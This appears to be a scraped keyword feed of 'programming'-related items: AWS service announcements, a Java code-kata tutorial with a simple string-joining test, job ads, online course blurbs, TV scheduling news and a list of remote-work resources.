Established in Upstate N.Y. in 1947, the family-owned furniture and mattress retailer has over 120 locations throughout the Northeast. Raymour & Flanigan has built its identity not only by offering quality furnishings and fast delivery, but by embracing its social responsibility through community giving and extensive in-house recycling. For more information, visit www.raymourflanigan.com or become a fan on Facebook.

###

MEDIA CONTACTS

NBC 4 New York/WNBC
Alexandra Trochanowski
212.664.6871

Alexandra.Trochanowski@nbcuni.com


Telemundo 47/WNJU
Aida E. Rosario
201.969.4080
Aida.Rosario@nbcuni.com

Raymour & Flanigan
Elisabeth Dwyer
315.345.6848
edwyer@raymourflanigan.com


          

Amazon Aurora Supports Machine Learning Directly from the Database

 Cache   

You can now use Amazon Aurora to add machine learning (ML) based predictions to your applications, using a simple, optimized, and secure integration with Amazon SageMaker and Amazon Comprehend. Aurora machine learning is based on the familiar SQL programming language, so you don’t need to build custom integrations, move data around, learn separate tools, or have prior machine learning experience.  


          

A day in the life of a 23-year-old Tokyo game programmer

 Cache   

Masa is a 23-year-old game programmer at Bandai Namco Studios in Tokyo. In this 13-minute-video made by Paolo From Tokyo, we see what Masa's life is like, from the moment his alarm goes off in the morning until he is back at home making a Gundam model before he goes to sleep.

From the YouTube description:

We'll even interact with directors from popular Japanese video game titles such as Tekken and CodeVein. Plus we'll get to see what a Japanese programmer from one of the large Video Game companies in Japan does after work with friends. This look inside a Japanese game dev's life is pretty unique and should provide some insight for those people who want to work in Japan as a game developer or game programmer. Also, this day in the life of a Japanese programmer will show you what it takes to be a Japanese programmer. As you would expect, most of the work day is spent programming and coding, but there are other unique aspects of the Japanese programmers life we are able to see in this video.

Image: YouTube Read the rest


          

AWS Glue now enables you to bring your own JDBC drivers to your Glue Spark ETL jobs

 Cache   

Starting today, you can now bring your own JDBC drivers to your Glue Spark ETL jobs. AWS Glue is a fully managed extract, transform, and load (ETL) service that makes it easier to prepare and load your data for analytics. AWS Glue has native connectors to connect to supported data sources either on AWS or elsewhere using JDBC drivers. This feature enables you to connect to data sources with custom drivers that were not natively supported in AWS Glue such as MySQL 8 and Oracle 18. You can also use multiple JDBC driver versions in the same Glue job enabling you to migrate data between source and target databases with different versions. To learn more, please visit our documentation.


          

AWS Toolkit for Visual Studio Code Adds New CDK Explorer in Preview

 Cache   

The CDK Explorer, a new preview feature in the AWS Toolkit for Visual Studio Code, allows developers to visualize CDK applications. AWS CDK, launched GA in July this year, is an open source software development framework to model and provision your cloud application resources using familiar programming languages. CDK apps are composed of building blocks known as Constructs, which include definitions for your cloud stacks and resources within. Check out the CDK developer guide or the CDK Workshop to learn more about the CDK.  


          

Donald Raab: Learn to Kata and Kata to Learn

 Cache   

Every Java developer needs to learn new skills and keep their existing skills sharp. The Java ecosystem is enormous and continues to evolve. With so much to learn, the prospect of keeping up may seem daunting. We can help each other keep up in this rapidly changing space if we work together as a community, sharing knowledge and practice. Taking, creating, and sharing code katas is one of the ways we can do this.

A code kata is a hands-on programming exercise that helps you hone specific skills through practice. Some code katas will provide you structure to validate a skill has been acquired by getting unit tests to pass. Code katas are a great way for developers to share practice exercises with their future selves and other developers to learn from.

How to create your first code kata:

  1. Select a topic you want to learn.
  2. Write a passing unit test that demonstrates some piece of knowledge.
  3. Refactor the code repeatedly until you are satisfied with a final solution. Make sure the test passes after each refactoring.
  4. Delete the solution in the exercise and leave a failing test.
  5. Commit the failing test with supporting code and build artifacts to a VCS.
  6. Open source the code to share with others.

Now I will follow the first four steps to create a small kata.

Step 1

Topic: Learn how to join strings in a List.

Step 2

Write a passing JUnit test that shows how to join strings in a List.

@Test
public void joinStrings()
{
List<String> names = Arrays.asList("Sally", "Ted", "Mary");
StringBuilder builder = new StringBuilder();
for (int i = 0; i < names.size(); i++)
{
if (i > 0)
{
builder.append(", ");
}
builder.append(names.get(i));
}
String joined = builder.toString();
Assert.assertEquals("Sally, Ted, Mary", joined);
}

Step 3

Refactor the code to use StringJoiner in Java 8. Re-run the test.

StringJoiner joiner = new StringJoiner(", ");
for (String name : names)
{
joiner.add(name);
}
String joined = joiner.toString();

Refactor the code to use Java 8 Streams. Re-run the test.

String joined = names.stream().collect(Collectors.joining(", "));

Refactor the code to use String.join. Re-run the test.

String joined = String.join(", ", names);

Step 4

Delete the solution and leave a failing test with a comment.

@Test
public void joinStrings()
{
List<String> names = Arrays.asList("Sally", "Ted", "Mary");
// Join the names and separate them by ", "
String joined = null;
Assert.assertEquals("Sally, Ted, Mary", joined);
}

Pay it forward — I will leave steps 5 and 6 as an exercise for the reader.

This example should be simple enough to illustrate how to create your own katas of varying complexity, leveraging unit tests to provide the structure necessary to build confidence and understanding.

Value your own learning and knowledge. When you learn something useful, write it down. Saving practice exercises to recall how things work can be quite helpful. Capture your knowledge and exploration in code katas. Katas you have used to sharpen your own skills may also be valuable to others.

We all have things to learn and that we can teach. When we share what we learn with others, we improve the whole Java community. This is vitally important to helping ourselves and our fellow Java developers collectively improve our coding skills.


Learn to Kata and Kata to Learn was originally published in 97 Things on Medium, where people are continuing the conversation by highlighting and responding to this story.


          

Programming

 Cache   
Programming
          

The 4 tech skills all middle schoolers should develop

 Cache   
A principal and a computer teacher detail the tech skills their students need to become digitally savvy in a connected economy.Saint Patrick’s is a small, pre-K–8 Catholic school in Yorktown Heights, New York. Last year, we received a grant to revamp our computer lab into what we call a STREAM lab, which stands for science, technology, religion, engineering, art, and math. The grant allowed us to invest in 30 new MacBook Airs to supplement our existing iPads and Chromebooks. Before we spent a cent, though, we made certain to connect every purchase with our two important goals: improving each individual child’s academic and career prospects, and improving our students’ scores on state assessments, which are critical to whether we’re succeeding or failing as a school. To that end, here are four essential skills that we strive to teach all of our students by the time they finish middle school. 1. Robotics and coding Like many schools, we’ve expanded our robotics and coding programs. For the past year, we’ve been using the Sphero SPRK+ and Dash and Dot to introduce robotics and support inquiry-based learning. This year, students will also be using Ozobot’s Bit and Evo robots, as well as LEGO WeDo and Mindstorms robotic kits. Robots encourage kids to collaborate and to drive lessons with their creativity. They decide as a team what they’re going to accomplish, and they go from there. When it comes to coding, our K–8 students start with the visual block programming platform Blockly. In addition, our 8th-graders use CodeMonkey, an online platform that teaches them text-based coding in a language called Coffee Script. Students take on the character of a monkey, and each lesson is part of their monkey’s quest to earn bananas. The goal is to make coding fun, and to prepare our students to program using other text-based languages like Python and JavaScript. 2. Keyboarding Today’s students need keyboarding skills for coding, but also for their assessments, which are now being delivered online. Here in New York, students can be required to type paragraphs on an assessment as early as 3rd grade, and our state standards require keyboarding skills as well. To help all of our students learn how to type or to hone their skills, we use online typing games from TypeTastic. Our kindergarteners start by using the mouse first to get familiar with the keyboard, then move on to actually finding the letters on the keyboard. For our younger students, typing is one unit covered throughout the year and is taught as a full-period lesson during their weekly computer class. Keyboarding is embedded in the curriculum for K–3 students so that, as they move from grade to grade, it becomes second nature to them. For 4th- through 8th-graders, typing is more often a 10-minute warmup at the start of computer class. Each child works at their own pace within their assigned units. In addition, some students have the opportunity to continue their lessons on Chromebooks during their weekly library period (once they finish their library work). They love that the keyboarding skills they’re learning are presented as a game. 3. Making Ultimately, we want our students to be producing things that are valuable to other people. For example, we do a lot of 3D design in TinkerCad. Some of the grades use a program called Book Creator to help kids write and illustrate their own stories. With an art program like Kid Pix 3D, students can draw, paint, and create animated artwork or slideshows As much as they’re creating, though, they also need to be able to explain their finished product and the process they followed to achieve their goal. This is another reason keyboarding is so important to our program.
          

Dove Channel Brings Out Holiday Classics; CW Gets DC Universe Series with Sitcom Star

 Cache   
The DOVE Channel turns back the clock this holiday season, as the faith-based digital-first Cinedigm (CIDM) network puts the spotlight on four retro classics from Hollywood's Golden Age. As part of this special event, DOVE Channel is giving viewers a chance to enjoy premium programming for the whole family all year long with the "Deck the Halls with DOVE" offer-available for just $19.99. The
          

TV One Gets Family Matters and Schedules Holiday Stunts; Disney Channel Sitcom Gets Season 3

 Cache   
TV One gears up for the holiday season with a programming slate full of original movies, specials and marathons. Kicking off the festive season is a back-to-back marathon of the popular sitcom, Family Matters, airing on Thursday, November 28, Thanksgiving Day from 6 a.m. ET through Saturday, November 30 until 6 a.m. ET. Throughout the "Turkel" marathon, TV One will commemorate the 30th
          

Advertising: Director, Creative Services - Albany, New York

 Cache   
Provides leadership for the promotions teamMakes decisions regarding hiring, evaluation, promotion and termination of employeesDevelops and executes promotions strategies to enhance station competitiveness-- -- ----Manages and leads the department to create new and profitable eventsManages recruitment and development of talented promotions team membersPrepares budgets and approves budget expendituresResolves customer complaints regarding promotionsPlans and directs staffing, training, and performance evaluations to develop and control promotions programsPlans, executes and tracks revenue-generating marketing and promotional events and contests that take place on-air, online and on-siteCreates and reviews operational records and reports to assess the efficacy of promotionsCreates client promotions and promotional proposals with members of the Programming and Sales teamsPerforms other duties as assigned--Requirements & Skills:Bachelor's degree in Marketing, Advertising or Mass Communications, or a related field, or an equivalent combination of education and work-related experienceFluency in EnglishExcellent communication skills, both oral and writtenMinimum five years' experience in media promotionsValid driver's license with an acceptable driving recordExperience guiding, directing and motivating subordinates, including setting performance standards and monitoring performanceExperience establishing long-range objectives and specifying the strategies and actions to achieve themAbility to identify the developmental needs of others and to coach, mentor or otherwise help others to improve their knowledge or skillsProficiency with computers, telephones, copiers, scanners, fax machines and other office equipment ()
          

QReview (Sinclair QL Magazine) Volume 1 Issue 1

 Cache   
QReview (Sinclair QL Magazine) Volume 1 Issue 1

This is the Sinclair QL Magazine QReview (Volume 1 Issue 1) published in July 1993 and edited by Bruce Nickolls (Quo Vadis Design).

The magazine contained the latest news about the QL, as well as reviews, programming tips and articles on some of the best software around at the time.

In good condition - some minor scuffing on cover.


          

Faculty Member, Community Energy and Environmental Planning (Academic Programming Appointment) - University of Saskatchewan - Saskatoon, SK

 Cache   
The successful candidate will have established themselves as a lead instructor in the scholarship of community-engaged energy and environmental planning,…
From University of Saskatchewan - Thu, 25 Jul 2019 00:18:39 GMT - View all Saskatoon, SK jobs
          

Web Administrator | ASGE

 Cache   
Downers Grove, IL, Requirements Bachelor’s degree in Web programming, content communications, marketing or related field required Minimum of five (5) years web-related and IT experience managing multiple projects
          

Other: Program Coordinator - Los Angeles, California

 Cache   
Please send resume, cover letter via email only to jobs@ with "Program Coordinator Applicant" - in the subject line of your email. No phone calls please. About the OrganizationWomen In Film is a non-profit organization dedicated to promoting equal opportunities for women, encouraging creative projects by women, and expanding and enhancing professional development and sustainability for women in all forms of media. Founded in 1973, Women In Film advocates for and advances the careers of women working in the screen industries - to achieve parity and transform culture. -About the PositionWe seek a full time Program Coordinator to support the Programs team (Director of Programs, Manager of Programs, and Manager of Public Programs) in implementing the following WIF Programs: speaker series, screening series, mentoring, film finishing grants, production program, INSIGHT, scholarships, episodic/feature writing labs and additional programs. -Responsibilities are as follows: - - - - - -Coordinate application processes for all submission-based programs: mentoring, film finishing fund, production program, labs - - - - - -Support the Manager of Programs with juror and advisor recruitment for all submission-based programs - - - - - -Maintain timeline and support Programs team in staying on-task and on schedule - - - - - -Coordinate logistics and paperwork for productions within production program, including vendor contracts, insurance, and guild agreements - - - - - -Coordinate logistics with panelists and special guests for public programs, speaker series and screening series - - - - - -Support scholarship recipient tracking, membership, and documentation - - - - - -Secure program space and event needs with Manager of Operations and Events - - - - - -Manage systems to track the success of fellows and impact of programs, and provide regular reports of alumni news and needs for Programs team - - - - - -Support Director of Programs with scheduling and partnering opportunities - - - - - -Answer phones and support work events as needed - - - - - -Undertake other projects and duties as assigned by team leadership -Qualifications:Minimum of two (2) years working in a support role for an arts organization or entertainment companyKnowledge of historic and contemporary female writers, directors and producers in film, television and/or mediaMicrosoft Office and Google suite proficient; Adobe Creative Suite, design, database experience a plusExperience selecting fellows for labs, grants or other programs and/or experience in the programming department at a film festival or other media organization a plusProduction experience a plusStrong verbal and written communication skillsExcellent prioritization and organizational skills, including attention to detail while not losing sight of the big pictureAbility to take initiative, be creative, work well independently and as part of a teamAbility to work nights and weekends as neededA genuine interest in Women In Film's mission and a commitment to achieving parity in the entertainment industry. -This is a full-time/non-exempt position, Monday through Friday, though weeknight and weekend hours may be required. -Hourly rate: $20-$22/hr, depending on experience -Please send resume, cover letter via email only to jobs@ with "Program Coordinator Applicant" - in the subject line of your email. No phone calls please. Learn more about the organization at -WIF is an equal opportunity employer. -WIF strongly believes in the strength of diversity and therefore, actively encourages applications encouraging people of any race, color, sex, national origin, religion, age and ability to apply for positions. ()
          

Other: CNC Machinist - South El Monte, California

 Cache   
US-CA-S. El MonteOverviewThis well-established company was founded in 1960 and is focused on achieving on-time delivery and quality products to the aerospace/military industries. Currently, they are looking to add an ambitious CNC Machinist to their South El Monte team. Between their two 6S-practicing locations, there are 92 employees and 72 CNC machines. What's more, they strive to create an inclusive employee culture and offer plenty of training opportunities. This is a 2nd shift position from 3:15 PM - 11:45 PM Monday through Friday.Benefits include: 2 weeks PTO after the 1st year 7 paid holidays Sick time Medical/dental/vision paid 100% for the employee (with options for dependents) 401k with matching Monthly company luncheons & breakfast, holiday parties, birthday/anniversary celebrations, etc. Potential bonuses (attendance) based on company and individual success Additionally, the company offers on the job training (including cross-training), and even offers tuition reimbursement for courses related to the organization. They also offer reimbursement for safety equipment. ResponsibilitiesSet up and operate CNC mills & lathes Program edit at the machine QualificationsExperience setting up 4 axis mills (5 axis preferred) AND OR lathes (millturn/livetooling preferred) Strong understanding of G&M coding Programming experience with Mastercam/Gibbscam a plus but not required Aerospace manufacturing experience also preferred Previous work with the following machines also helpful: Mori Seikis, HAAS, Doosan, Daewoo, Hitachi-Seiki, etc. AMC is an an Equal Opportunity employer. All qualified applicants will receive consideration for employment without regard to race, color, religion, sex including sexual orientation and gender identity, national origin, disability, protected Veteran Status, or any other characteristic protected by applicable federal, state, or local law#ZR *PM18 PI115801592 ()
          

Education / Teaching: Culture & Education Manager - Irvine, California

 Cache   
Restaurant365 is a rapidly growing SaaS company disrupting the restaurant industry! Our cloud-based platform provides a -unique, centralized solution for accounting and back office operations for restaurants. -Restaurant365's culture is focused on empowering team members to produce top notch results while elevating their skills. We're constantly evolving and improving to make sure we are and always will be "Best in Class" - ... and we want that for you too! -Restaurant365 recently closed $88 million in Series C funding, bringing the total minority investment by Bessemer Venture Partners, ICONIQ Capital, and Tiger Global Management to $140 million, to support the company's vision of providing the best technology to the restaurant industry. Our diverse portfolio of clients includes well-known nationwide franchises as well as your favorite local spot. From fine dining to fast casual... R365 does it all! -We are looking for a leader to develop, create, champion our Culture and Education Team! -In this role, the Culture & Education Manager will oversee training, development, and employee engagement. -This individual will design and implement initiatives to develop organizational capabilities that enable and support the business strategy. -The C&E Manager will provide leadership in the areas of on-boarding, employee development, manager effectiveness, team and leadership development, employee engagement, and deliver an awesome employee experience by bringing our culture to life throughout the employee life cycle. - -Reporting directly to the Vice President of People, you will lead and manage a team, and together, establish and deliver programs to help drive a top place to work. -Bring your passion, motivation and willingness to roll up your sleeves, this is a hands-on strategic role that will evolve as Restaurant 365 grows! - -How you'll add value:Develop and drive a comprehensive learning strategy for Restaurant 365, inclusive of: New Hire Orientation/Onboarding, employee development, manager effectiveness, leadership development, and executive coachingSupport the business in building manager and leadership capability within the organization through the talent management process. Accelerate leader effectiveness as they transition between roles and are promoted within the organizationPartner with People Team and Business Leaders to identify skills and competencies needed to strengthen our company and prepare it for the futureDevelop employee engagement strategyEvent-manage the courses and events themselves. This will involve quality, care and infusion to culture and brand in every element of the programsCulture Keeper: lead, cultivate, advocate; act as steward of our employee experience, employment brandAnalyze data and observations across the organization, highlighting trends and recommending/driving solutionsProvide leadership in the area of career development, which includes developing new tools and programming to support our talent strategyDrive an integrated Talent Management strategy which includes needs identification, acquisition, selection and assessment, executive and leadership development, and succession planning. -What you'll need to be successful in this role:5+ years in corporate learning and development, instructional design, and facilitation.Demonstrated history of success in leading change and achieving positive resultsFour-year degree required; preferred in organizational leadership, human resources, trainingA master facilitator with motivational, high-impact facilitation style in a fast paced, multi-site and matrixed environment.Workable knowledge of organizational design and development change management concepts, tools and methods and leadership and talent managementPossess highly effective communication skills to coach and teach; must be approachable, hardworking and enthusiastTenacity and ability to build from scratch are imperative; sense of urgency and can-do attitude with a focus on continuous improvement while managing multiple priorities and tasksTravel as neededR365 Team Member Perks & BenefitsCompetitive compensation packageComprehensive medical benefits401k + matchingTeam member stock optionsPhone & internet reimbursementUnlimited PTO + Company holidaysWeekly catered lunches + snacksWellness initiativesPhilanthropy eventsWhy Join our amazing team?We're a family who prides themselves in creating innovative solutions and producing quality work.Our product is the secret ingredient that makes a real difference to restaurants nationwide.The open concept work environment that we've created is causal, collaborative and cultivates communication. -R365 was founded by an experienced team of software & finance veterans committed to developing an all-inclusive back office solution. -We help restaurants grow! R365 is an Equal Opportunity Employer and we encourage all forward thinkers who embrace change and possess a positive attitude to apply. ()
          

Other: Automation Engineer - Oceanside, California

 Cache   
Automation Engineer If you are an Automation Engineer with experience, please read on!We are an industry leader manufacturing company located in one of the most beautiful cities in the world, Oceanside, CA. We specialize in image design for robotic technology. We are dedicated to growth of the company and taking on new challenges. If you are an Engineer looking for an opportunity to grow this could be the perfect opportunity for you! What You Will Be Doing Your skillset will be challenged by using multiple application software to program different machinery. You will be using your programming expertise to design custom images based on technologies from different industries. What You Need for this Position At Least 1 Year of experience and knowledge of:-Bachelor's Degree- C++- Automation- Machine VisionPreferred Skills- Experience with JavaScript and HTML-Experience with AutoCAD or similar - Experience with PLC Programming What's In It for You -Competitive Salary (85K-105K DOE)- Medical- Dental- Vision- 401k So, if you are a Software Engineer with experience, please apply today! - Applicants must be authorized to work in the U.S. CyberCoders, Inc is proud to be an Equal Opportunity Employer All qualified applicants will receive consideration for employment without regard to race, color, religion, sex, national origin, disability, protected veteran status, or any other characteristic protected by law. Your Right to Work In compliance with federal law, all persons hired will be required to verify identity and eligibility to work in the United States and to complete the required employment eligibility verification document form upon hire. ()
          

IT / Software / Systems: Lead Game Developer - San Diego, California

 Cache   
Lead Game Developer Located in sunny San Diego, we are a rapidly growing company working on next-gen imaging solutions for the sports industry! Founded in 2010, we've quickly grown into a global leader developing the most advanced performance analysis & tracking systems using leading-edge technology including UI Design, game play, build automation, hardware interfacing, etc...We are looking for a Lead Game Developer to architect, design and develop new feature sets for our suite of simulators! Top Reasons to Work with Us 1. Small team = HUGE impact2. Opportunity to work on the next generation of our simulator products 3. Competitive compensation, 401k, outstanding benefits, relaxed work environment and more! What You Will Be Doing Contribute to all aspects of product design and developmentMeeting with stakeholders in creating requirements & specification docsProject estimating & planningAssist with recruiting, hiring, mentoring junior devs, providing technical direction, etc What You Need for this Position REQUIRED:BS/MS in Comp Sci, Math, Physics, etcCommercial video game productsUnity(3D)C#DirectX 11OOP/OOD and best programming practicesDESIRED:Porting games from one engine to anotherOpen Cloud Computing Interface technologiesUI DesignAgile MethodologyUnreal, C++ ..So, if you are a Lead Game Developer with experience, please apply today or send your resume to caroline.veillon@cybercoders.com ! - Applicants must be authorized to work in the U.S. CyberCoders, Inc is proud to be an Equal Opportunity Employer All qualified applicants will receive consideration for employment without regard to race, color, religion, sex, national origin, disability, protected veteran status, or any other characteristic protected by law. Your Right to Work In compliance with federal law, all persons hired will be required to verify identity and eligibility to work in the United States and to complete the required employment eligibility verification document form upon hire. ()
          

Installing Programmers for use with Microcode Studio

 Cache   
Microcode Studio accommodates the use of alternate programming hardware devices, such as the PICKit3 & 4 and Microchip development board on-board...
          

Kotlin Tutorial for Beginners

 Cache   

Kotlin Tutorial for Beginners, Introduction to the Kotlin programming language. This Kotlin tutorial is intended for complete beginners. You will learn basic programming concepts in Kotlin. This Kotlin tutorial is not geared towards Android ,Web or Desktop Application development. However, this tutorial is a general concept tutorial to help you learn how to use the […]

The post Kotlin Tutorial for Beginners appeared first on Online Tutorials.


          

C, C++, Python & linux / Unix Shell Scripting Course Bundle

 Cache   

C, C++, Python & linux / Unix Shell Scripting Course Bundle, Shell Scripting, Python, C Programming and C++ Programming Learn all at your own pace. The Ultimate guide to Python C and C++ Programming Linux/Unix Shell Scripting from basic to advance C and C++ Programming are must to learn for every one who are interested […]

The post C, C++, Python & linux / Unix Shell Scripting Course Bundle appeared first on Online Tutorials.


          

Python For Network Engineers Bootcamp

 Cache   

Python For Network Engineers Bootcamp, Real-Life Hands-On Python Automation: Netmiko, Paramiko, Napalm, Nornir, GNS3,Telnet, SSH, Cisco, Arista, Linux etc. Fully updated for 2020 This Network Automation with Python course also covers every major General Python Programming topic and is a perfect match for both beginners and experienced developers! Welcome to this Python hands-on course for […]

The post Python For Network Engineers Bootcamp appeared first on Online Tutorials.


          

Super Saturday: ‘Hot Wheels’ & ‘Skyhawks’ (1969)

 Cache   

Welcome to Super Saturday, a new ongoing weekly column that will pay tribute to the animated classics of yesterday, and will be offered on Saturday mornings, a period that many of us remember being the only time animated kids’ programming was offered.  Hope you enjoy and feel free to leave any feedback or personal remembrances in the comments! With Christmas approaching, I thought I would take a look at a few cartoons that were based on toy lines, but the first shows I am profiling may need some explanation.  In 1969, ABC began airing ‘Hot Wheels’ and ‘Skyhawks’ based on the classic Mattel toys.  (Well, Hot Wheels are classic toys.  I can’t find any info on ‘Skyhawks’.  I assume they were airplanes.)  Ken Snyder Properties, in association with Pantomime Pictures, crafted the animated programs, which made their debuts on September 6, 1969, on ABC. These shows are largely forgotten today and are ironically mainly remembered for why they were taken off the air, giving them a significant place in cartoon history.  At this point in time, many action cartoons were being axed because they were considered too violent, but that wasn’t the case with ‘Hot Wheels’ or ‘Skyhawks’. After a complaint […]

The post Super Saturday: ‘Hot Wheels’ & ‘Skyhawks’ (1969) appeared first on ScienceFiction.com.


          

Associate Director, Continuing Education - University College | Tufts University

 Cache   
Medford/Somerville, Massachusetts, Associate Director, Continuing Education - University College - (19002037) Description University College develops and implements university wide programming intended to generate substanti
          

Bezzie Technologies

 Cache   
Bezzie Technologies

Bezzie Technologies Web programming, also known as web development, we creation of dynamic web applications. Examples of web applications are social networking sites. Every Web Developer must have a basic understanding of HTML, CSS, and JavaScript. Responsive Web Design is used in all types of modern web.  

Our service 

Product development

Web development

Web design

Embedded web system

Mobile application


Category: Mobile App Developers
: TDI Business Centre, Sector 118, Mohali-Chandigarh, 140308
: Mohali
: Punjab
: India
: http://www.bezzietechnologies.com
:
:
          

Full Stack Software Engineer

 Cache   
MI-Dearborn, Position Description: Software engineers will work in small, cross-functional teams. They will collaborate directly and continuously with product managers and designers, and business partners to release early and often. As a Software Engineer the candidate will be combining the art of design with the art of mobile programming. They will work with UX and Interaction designers and translate UI/UX de
          

Controls Engineer - McClean Anderson - Schofield, WI

 Cache   
Candidate will use their programming skills in common software languages such as C++, .NET (VB / C#), as well as some lower assembly such as Intel, Microchip…
From McClean Anderson - Thu, 31 Oct 2019 11:25:20 GMT - View all Schofield, WI jobs
          

Collection: Remote Work

 Cache   

Relaxing at Hilton Head, SC

When I started using the Internet back in 1995, I never thought it would get this far. It's fueling economies and became an entire backbone for large industries.

Here's a little statistic that most tenured developers are having trouble swallowing:

The World Wide Web had their 30th anniversary in March of this year.

Boy, do I feel old!

Since the World Wide Web has evolved over the last 30 years, the number of opportunities for developers has exploded. There is more demand than supply.

Developer should understand that once you have a presence on the Internet, you are considered International! (yes, capital 'I')

Let me repeat that! ANYONE IN THE WORLD CAN HIRE YOU FOR AN OPPORTUNITY IF YOU HAVE THE SKILLS!

Some companies request you work onsite which is not bad, but still of limited thinking. I feel this is not how business will be conducted in the future.

I've mentioned before how to provide freelance services on the Internet where working remote is an awesome opportunity. So some readers wanted to know if this remote work is a fad and know why I felt remote work is the way to go.

The demographics associated with remote work is staggering. Even some developers I know are adamant about companies not letting them work from home.

For me, I'm starting to dig into remote opportunities using Freelancer.com (affiliate link) and Codementor.io and it's turned out quite well so far. I'm working with a number of people across the world which is kind of intoxicating.

I'm hoping this collection will provide you with more insight to why the future of work is remote.

Demographics/Statistics

The Remote Work Report By Zapier
Zapier conducted a survey of 880 U.S knowledge workers to discover why people wanted to work remotely. The results are pretty interesting (The survey was also mentioned on ZDNet).

Buffer's State of Remote Work for 2019
I've been using Buffer for a while now and didn't even realize they published their results from 2,500 remote workers to produce their State of Remote Work in 2019. Great feedback from all remote workers.

Why Everyone Loves Remote Work
More survey results from 486 people where they found something really surprising.

Remote Work Statistics (from usefyi.com)
While the previous entry explained why everyone loves remote work, usefyi.com also has another section called Remote Work Statistics where they collect remote work statistics from various sources across the Internet and place them here for all to see.

Remote Work Statistics (from remotehub.io)
Along those same lines, RemoteHub has a section related to what companies are offering for remote positions, which companies support remote work, and the top benefits provided.

Resources for Finding Remote Work

Ditching the 9-5: How to Find Remote Work Opportunities
Chloe has some sound advice along with some websites to help find that ideal remote job.

RemoteOk.io
Open positions available for remote jobs in programming, design, marketing, and more.

The Remote Freelancer
A GitHub repository for all things working remotely along with services offering remote positions.

Moonlight.com
Haven't heard too much about this site, but does offer remote work for developers.

RemoteHabits.com
A remote-related website containing multiple segments for anyone interested in remote work. The sections include popular interviews, popular questions about remote work, popular tools for remote workers, and remote jobs area along with a blog.

Remotive.io
The best hand-picked remote jobs on the web.

RemoteHub.io
An attractive remote work engine for finding that particular industry to match your skills.

GetRemoteJob.xyz
A LARGE curated list of websites for finding a remote job.

FindRemote.io
A small listing engine for finding remote jobs. While small, you never know when you'll find your dream job.

News/Blogs About Remote Work

How to become a remote worker
Maarten Balliauw explains how he became a remote worker, how he works throughout the day, and also mentions Scott Hanselman and how he treats remote work.

Five Important Takeaways From Google's Two-Year Study of Remote Work 
The full report (found here...and it was small) was summarized by Abdullahi Muhammed. Small as it was, there were some relevant topics that big businesses should pay attention to.

Miscellaneous

Conclusion

I tried to weed out older content to keep this list as fresh as possible. If you have a resource you want to contribute, please don't hesitate and send me an email with the resource and I'll add it.

Do you have any remote work statistics or remote sites you visit frequently? Post your comments below and let's discuss.

Other Collections


          

Postdoctoral Scholar - Project Model | University of Washington

 Cache   
Philadelphia, Pennsylvania, PhD or forgein equivalent in Quantitative Ecology, Applied Statistics or a related field. Experience with population and life history modeling, R-programming, simulation modeling, statistical analyses
          

Other: Postdoctoral Research Fellow - Oklahoma City, Oklahoma

 Cache   
Multiple postdoctoral positions are available in the Departments of Ophthalmology and Physiology at the University of Oklahoma Health Sciences Center (OUHSC) to study Phosphoinositide signaling and its' effect on neuroprotection of the retina as well as Retina/RPE Metabolism and Metabolic Reprogramming. Areas of research include Biochemistry, Molecular Biology, Genetic Engineering.Preference will be given to candidates who have experience in cell signaling.To apply, please send a cover letter stating your research interests and experience along with a curriculum vitae and the names of three references to Dr. Raju Rajala at - successful applicant must have a record of productivity and creativity with an interest to collaborate in a multi-disciplinary setting. ()
          

Programmers: At What Age Did You Start Programming?

 Cache   
A lot of people think they are too old to start programming while others think they are too small when asked to learn to codeThe Question is, AT WHAT AGE DID YOU STARTED PROGRAMMING? you could mention your first tech, how it went then and your experience
          

Training Specialist - US Department of Veterans Affairs - Sheridan, WY

 Cache   
The Training Specialist develops and implements educational programming for the Sheridan VA Healthcare System (SVAHCS), as it relates to Business Processes,… $51,440 - $66,868 a year
From usajobs.gov - Thu, 28 Nov 2019 03:54:27 GMT - View all Sheridan, WY jobs
          

Salem names new sales directors

 Cache   
Nov. 15, 2019 - Salem Flat Glass & Mirror is pleased to announce the promotion of two Machinery Sales Engineers to Sales Directors effective November 1st. Michael Rosato is now Machinery&

Michael Rosato is a veteran in the glass industry with over 36 years of experience. He holds a Bachelor’s Degree in Sociology and Business Administration. Beginning early in his career, Mike acquired additional customer focused sales training to hone his professional skills. His extensive experience in the shop, around the machinery and in the field has allowed him to establish deep customer relationships and work closely with manufacturers, too, to develop and improve their machinery lines. Michael has held various posts within the industry including Glass Fabrication Manager, Plant Manager and General Manager. His qualifications also include Commercial and Industrial Inspection and Contractor’s License qualifier. Michael joined SALEM in 2012 as a Regional Account Manager offering fabrication equipment and robotic solutions as well as tooling and supplies to customers. Michael lives in Southern California and is an avid camper who enjoys time outdoors with his wife and three children.
{gallery}5006{/gallery}
David Anderson is a seasoned fabrication solution provider having 23 years of experience in the glass and stone industries. David is a graduate of West Virginia University and began working in the glass industry directly out of school. He started on the production shop floor cutting glass on a manual table and eventually worked his way through many facets of the industry as a whole including: cutting, operating in-line edgers and bevellers, estimating curtainwalls and storefronts and architectural hardware, plus programming and operating cnc machinery, along with other glass working machines. David has held industry positions in production, operations, management, and sales. He joined Salem in 2017 as a Machinery Sales Engineer, selling SALEM’s full line of capitol glass fabrication equipment. David resides in West Virginia with his wife and two daughters. He enjoys sport fishing and is usually working to devise a way to get himself on a private charter off the coast of Cape Hatteras, North Carolina.

“We have an extremely talented team at SALEM and I am delighted to promote Michael and David to these Machinery Sales Director positions,” says Dan Reinhart, VP of Sales and Marketing. Together, their industry and product knowledge, drive to succeed, and persistence will serve them, and our company, very well in this expanded sales role. We look forward to their success in providing solutions and enhancing our customer relationships.”

For more information
www.salemdist.com

          

Dec 04: Successful Re-Entry through Contemporary, Moral, Holistic, and Life Skill Programming

 Cache   
Contemporary detention issues felt by most counties: tightened jail budgets, concerning recidivism rates, law enforcement relations, poverty, unemployment, custodial assaults, suicides, deteriorating conditions of confinement, litigation, and other factors motivated Peoria County Sheriff’s Department to do something new. This webinar presents a pathway of 60 plus days of rehabilitation programming taken by offenders and their families through the Jobs Partnership Re-Entry Program at the Peoria County Jail, in Peoria, Illinois. In this webinar, the pioneering program’s educational, social, behavioral and spiritual components will be explored along with its progressive family restoration strategies. Program impacts, post-incarceration outcome-measures, and future considerations will also be explored.
          

A Qualitative Study of Community-Based HIV/AIDS Prevention Interventions, Programs, and Projects for Rural and Remote Regions in Canada: Implementation Challenges and Lessons Learned

 Cache   
